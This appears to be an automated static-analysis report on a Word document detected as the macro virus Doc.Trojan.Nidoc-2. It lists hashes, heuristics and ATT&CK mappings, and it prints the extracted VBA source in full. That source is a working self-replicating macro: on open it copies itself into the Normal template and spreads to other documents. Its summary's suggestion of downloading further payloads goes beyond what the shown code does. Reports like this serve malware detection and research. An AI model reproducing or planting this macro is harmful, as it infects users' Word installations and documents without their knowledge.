Doc.Trojan.Nidoc-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 4f2e944ddcb4f75d…

MALICIOUS

Office (OLE)

37.5 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 502e33f6cd770a2c181261967c44a488 SHA-1: 6c0919216155f50f717d633a55938d753a37e498 SHA-256: 4f2e944ddcb4f75d8958c5445da453af73f0a3b127e83edfe783f26c8a0a5bb3
180 Risk Score

Malware Insights

Doc.Trojan.Nidoc-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Nidoc-2. The VBA macro code within the 'macros.bas' file, specifically the AutoOpen subroutine, attempts to modify the Normal template by saving a file named 'nidoc.dot' and using Application.OrganizerCopy to potentially establish persistence or load additional components. This indicates a likely intent to download and execute further payloads or maintain a foothold on the system.

Heuristics 5

  • ClamAV: Doc.Trojan.Nidoc-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Nidoc-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1157 bytes
SHA-256: a52c8e714e7943e9bfe97a83606d1350d43a20cb4d5d06615ea28407ce813259
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "nidoc"
Sub AutoOpen()
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoClose"

    normPath = NormalTemplate.Path
    nomeNorm = NormalTemplate.Name
      
    normaldoc = normPath & "\" & nomeNorm
    normdoc = normPath & "\" & "nidoc.dot"
    On Error GoTo salva
    ActiveDocument.AttachedTemplate = normdoc
    
GoTo step2
salva:
    ActiveDocument.SaveAs FileName:=normdoc, FileFormat:=wdFormatTemplate
    Application.OrganizerCopy Source:=normdoc, Destination:=NormalTemplate, Name:= _
        "nidoc", Object:=wdOrganizerObjectProjectItems
    ActiveDocument.Close
    GoTo fim
step2:
    On Error GoTo fim
    Application.OrganizerCopy Source:=normdoc, Destination:=ActiveDocument, Name:= _
        "nidoc", Object:=wdOrganizerObjectProjectItems
    
fim:
    
    ActiveDocument.AttachedTemplate = NormalTemplate
    
End Sub